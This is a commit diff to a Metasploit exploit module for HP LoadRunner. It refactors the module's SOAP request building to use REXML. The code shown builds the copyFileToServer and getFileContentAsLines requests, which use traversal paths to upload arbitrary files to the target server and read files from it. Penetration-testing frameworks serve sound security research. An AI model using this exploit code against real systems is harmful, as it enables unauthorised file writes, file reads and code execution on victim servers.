Land @wchen-r7 support for rexml

Author: jvazquez-r7

modules/exploits/windows/http/hp_loadrunner_copyfiletoserver.rb

@@ -4,12 +4,14 @@
 ##
 
 require 'msf/core'
+require 'rexml/document'
 
 class Metasploit3 < Msf::Exploit::Remote
   Rank = ExcellentRanking
 
   HttpFingerprint = { :pattern => [ /Apache-Coyote\/1\.1/ ] }
 
+  include REXML
   include Msf::Exploit::Remote::HttpClient
   include Msf::Exploit::FileDropper
 
@@ -56,6 +58,49 @@ def initialize(info = {})
       ], self.class)
   end
 
+  def get_soap_request(action, opts={})
+    path_param     = opts[:path]
+    contents_param = opts[:contents]
+
+    se_name = ''
+    case action
+    when :upload
+      se_name = 'ser:copyFileToServer'
+    when :read
+      se_name = 'ser:getFileContentAsLines'
+    end
+
+    xml = Document.new
+    xml.add_element(
+      "soapenv:Envelope",
+      {
+        'xmlns:xsi'     => "http://www.w3.org/2001/XMLSchema-instance",
+        'xmlns:xsd'     => "http://www.w3.org/2001/XMLSchema",
+        'xmlns:soapenv' => "http://schemas.xmlsoap.org/soap/envelope/",
+        'xmlns:ser'     => "http://service.emulation.ws.mercury.com"
+      })
+    xml.root.add_element("soapenv:Header")
+    xml.root.add_element("soapenv:Body")
+    body = xml.root.elements[2]
+    body.add_element(
+      se_name,
+      {
+        'soapenv:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/"
+      })
+    ser = body.elements[1]
+    ser.add_element("in0", {'xsi:type' => 'xsd:int'})
+    ser.elements['in0'].text = 30000 + rand(30000)
+    ser.add_element("in1", {'xsi:type' => 'xsd:string'})
+    ser.elements['in1'].text = path_param
+
+    if action == :upload
+      ser.add_element("in2", {'xsi:type' => "xsd:base64Binary"})
+      ser.elements['in2'].text = Rex::Text.encode_base64(contents_param)
+    end
+
+    xml.to_s
+  end
+
   def check
     depth = datastore['DEPTH']
     install_path = datastore['INSTALLPATH']
@@ -178,23 +223,10 @@ def upload_file(traversal_depth, location, file_name, contents)
     path << location
     path << "\\" unless location[-1] == "/" or location[-1] == "\\"
     path << file_name
-    soap_request = <<-EOF
-<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
-                  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
-                  xmlns:ser="http://service.emulation.ws.mercury.com">
-   <soapenv:Header/>
-   <soapenv:Body>
-      <ser:copyFileToServer soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
-         <in0 xsi:type="xsd:int">#{ 30000 + rand(30000) }</in0>
-         <in1 xsi:type="xsd:string">#{path}</in1>
-         <in2 xsi:type="xsd:base64Binary">#{Rex::Text.encode_base64(contents)}</in2>
-      </ser:copyFileToServer>
-   </soapenv:Body>
-</soapenv:Envelope>
-    EOF
-
-    return send_request_soap(soap_request)
+
+    req = get_soap_request(:upload, {:path => path, :contents => contents})
+
+    return send_request_soap(req)
   end
 
   def read_file(traversal_depth, location, file_name)
@@ -203,23 +235,9 @@ def read_file(traversal_depth, location, file_name)
     path << "\\" unless location[-1] == "/" or location[-1] == "\\"
     path << file_name
 
-    soap_request = <<-EOF
-<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-                  xmlns:xsd="http://www.w3.org/2001/XMLSchema"
-                  xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"
-                  xmlns:ser="http://service.emulation.ws.mercury.com">
-   <soapenv:Header/>
-   <soapenv:Body>
-      <ser:getFileContentAsLines soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
-         <in0 xsi:type="xsd:int">#{ 30000 + rand(30000) }</in0>
-         <in1 xsi:type="xsd:string">#{path}</in1>
-      </ser:getFileContentAsLines>
-   </soapenv:Body>
-</soapenv:Envelope>
-    EOF
-
-
-    return send_request_soap(soap_request)
+    req = get_soap_request(:read, {:path => path})
+
+    return send_request_soap(req)
   end
 
   def brute_force_depth(location)